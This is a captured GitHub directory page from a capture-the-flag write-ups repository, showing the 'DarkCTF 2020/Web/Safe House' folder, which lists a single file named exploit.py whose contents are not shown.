<svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div>
Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div data-pjax-replace id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container >
<include-fragment src="/orgs/csivitu/survey_banner" data-test-selector="survey-banner-selector"> </include-fragment>
<div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace>
<div class="d-flex mb-3 px-3 px-md-4 px-lg-5">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> csivitu </span> <span>/</span> CTF-Write-ups
<span></span><span>Public</span></h1>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications
<div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span>
57 </div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork
24
</div>
<div id="responsive-meta-container" data-pjax-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/csivitu/CTF-Write-ups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights
</details-menu></div></details></div></nav> </div>
<div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " >
<div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/csivitu/CTF-Write-ups/refs" cache-key="v0:1633249178.568328" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3Npdml0dS9DVEYtV3JpdGUtdXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/csivitu/CTF-Write-ups/refs" cache-key="v0:1633249178.568328" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3Npdml0dS9DVEYtV3JpdGUtdXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Write-ups</span></span></span><span>/</span><span><span>DarkCTF 2020</span></span><span>/</span><span><span>Web</span></span><span>/</span>Safe House<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Write-ups</span></span></span><span>/</span><span><span>DarkCTF 2020</span></span><span>/</span><span><span>Web</span></span><span>/</span>Safe House<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/csivitu/CTF-Write-ups/tree-commit/875308b9ecab6847c44dbfa3e4ab8d9fccaad50d/DarkCTF%202020/Web/Safe%20House" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/csivitu/CTF-Write-ups/file-list/master/DarkCTF%202020/Web/Safe%20House"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div></div>
</main> </div>
</div>
<div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs
<svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template>
</body></html>
|
